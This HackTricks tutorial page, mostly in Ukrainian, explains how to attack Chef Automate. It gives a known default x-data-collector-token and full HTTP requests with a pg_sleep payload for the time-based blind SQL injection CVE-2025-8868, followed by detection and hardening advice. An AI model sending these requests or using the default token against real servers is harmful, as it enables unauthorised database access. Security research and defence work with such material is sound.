Chef Automate Перерахування та атаки
Reading time: 6 minutes
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Огляд
На цій сторінці зібрані практичні техніки для виявлення та атак на інстанси Chef Automate, із акцентом на:
- Виявлення REST-ендпойнтів, підключених через gRPC-Gateway, та виведення схем запитів за допомогою повідомлень валідації/помилок
- Зловживання заголовком аутентифікації x-data-collector-token, коли присутні значення за замовчуванням
- Часозалежний сліпий SQL injection у Compliance API (CVE-2025-8868), що впливає на поле filters[].type у /api/v0/compliance/profiles/search
Note: Backend responses that include header grpc-metadata-content-type: application/grpc typically indicate a gRPC-Gateway bridging REST calls to gRPC services.
Розвідка: архітектура та сигнатури
- Front-end: Often Angular. Static bundles can hint at REST paths (e.g., /api/v0/...)
- API transport: REST to gRPC via gRPC-Gateway
- Responses may include grpc-metadata-content-type: application/grpc
- Database/driver fingerprints:
- Error bodies starting with pq: strongly suggest PostgreSQL with the Go pq driver
- Interesting Compliance endpoints (auth required):
- POST /api/v0/compliance/profiles/search
- POST /api/v0/compliance/scanner/jobs/search
Аутентифікація: Data Collector Token (x-data-collector-token)
Chef Automate надає data collector, який аутентифікує запити через спеціальний заголовок:
- Header: x-data-collector-token
- Risk: Some environments may retain a default token granting access to protected API routes. Known default observed in the wild:
- 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
If present, this token can be used to call Compliance API endpoints otherwise gated by auth. Always attempt to rotate/disable defaults during hardening.
Виведення схеми API через виявлення на основі помилок
gRPC-Gateway-backed endpoints often leak useful validation errors that describe the expected request model.
For /api/v0/compliance/profiles/search, the backend expects a body with a filters array, where each element is an object with:
- type: string (filter field identifier)
- values: array of strings
Example request shape:
{
"filters": [
{ "type": "name", "values": ["test"] }
]
}
Некоректний JSON або неправильні типи полів зазвичай викликають помилки 4xx/5xx з підказками, а заголовки вказують на поведінку gRPC-Gateway. Використовуйте це, щоб зіставити поля та локалізувати поверхні ін'єкцій.
Compliance API SQL Injection (CVE-2025-8868)
- Затронутий endpoint: POST /api/v0/compliance/profiles/search
- Injection point: filters[].type
- Клас вразливості: time-based blind SQL injection in PostgreSQL
- Причина: відсутність належної параметризації/перевірки за білим списком при інтерполяції поля type в динамічний SQL-фрагмент (ймовірно використовується для побудови ідентифікаторів/WHERE-умов). Сконструйовані значення в type виконуються PostgreSQL.
Working time-based payload:
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
Technique notes:
- Закрийте вихідний рядок одинарною лапкою (')
- Додайте підзапит, який викликає pg_sleep(N)
- Знову уведіть контекст рядка через ||, щоб фінальний SQL залишався синтаксично валідним незалежно від того, де вставлено type
Доказ через диференційну затримку
Надішліть пару запитів і порівняйте часи відповіді, щоб підтвердити виконання на боці сервера:
- N = 1 секунда
POST /api/v0/compliance/profiles/search HTTP/1.1
Host: <target>
Content-Type: application/json
x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
{"filters":[{"type":"name'||(SELECT pg_sleep(1))||'","values":["test"]}]}
- N = 5 секунд
POST /api/v0/compliance/profiles/search HTTP/1.1
Host: <target>
Content-Type: application/json
x-data-collector-token: 93a49a4f2482c64126f7b6015e6b0f30284287ee4054ff8807fb63d9cbd1c506
{"filters":[{"type":"name'||(SELECT pg_sleep(5))||'","values":["test"]}]}
Observed behavior:
- Час відповіді масштабується відповідно до pg_sleep(N)
- HTTP 500 відповіді можуть містити pq: деталі під час пробування, що підтверджує шляхи виконання SQL
Порада: Використовуйте таймінговий валідатор (наприклад, кілька запусків із статистичним порівнянням), щоб зменшити шум та false positives.
Impact
Аутентифіковані користувачі — або неаутентифіковані дії, що зловживають дефолтним x-data-collector-token — можуть виконувати довільний SQL у контексті PostgreSQL Chef Automate, що ставить під загрозу конфіденційність та цілісність профілів відповідності, конфігурації та телеметрії.
Affected versions / Fix
- CVE: CVE-2025-8868
- Upgrade guidance: Chef Automate 4.13.295 or later (Linux x86) per vendor advisories
Detection and Forensics
- API layer:
- Моніторити 500 відповіді на /api/v0/compliance/profiles/search коли filters[].type містить лапки ('), конкатенацію (||) або посилання на функції типу pg_sleep
- Інспектувати заголовки відповіді на наявність grpc-metadata-content-type для ідентифікації потоків gRPC-Gateway
- Database layer (PostgreSQL):
- Аудит викликів pg_sleep та помилок malformed identifier (часто проявляються з префіксами pq:, що приходять від Go pq driver)
- Authentication:
- Логувати та генерувати алерти про використання x-data-collector-token, особливо відомих дефолтних значень, у межах API шляхів
Mitigations and Hardening
- Immediate:
- Змінити/вимкнути дефолтні токени data collector
- Обмежити вхідний трафік до endpoint-ів data collector; вимагати сильні, унікальні токени
- Code-level:
- Параметризувати запити; ніколи не робити string-concatenate SQL фрагментів
- Строго whitelist-ити дозволені значення type на сервері (enum)
- Уникати динамічної збірки SQL для ідентифікаторів/клауз; якщо потрібна динаміка — використовувати безпечне екранування ідентифікаторів та явні whitelist-и
Practical Testing Checklist
- Перевірити, чи приймається x-data-collector-token і чи працює відоме дефолтне значення
- Змапити схему запитів Compliance API, індукуючи помилки валідації та читаючи повідомлення про помилки/заголовки
- Тестувати на SQLi у менш очевидних полях, схожих на ідентифікатори (наприклад, filters[].type), а не лише в масивах значень або топ-рівневих текстових полях
- Використовувати тайм-бейзовані техніки з конкатенацією, щоб зберегти синтаксичну валідність SQL у різних контекстах
References
- Cooking an SQL Injection Vulnerability in Chef Automate (XBOW blog)
- Timing trace (XBOW)
- CVE-2025-8868
- gRPC-Gateway
- pq PostgreSQL driver for Go
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud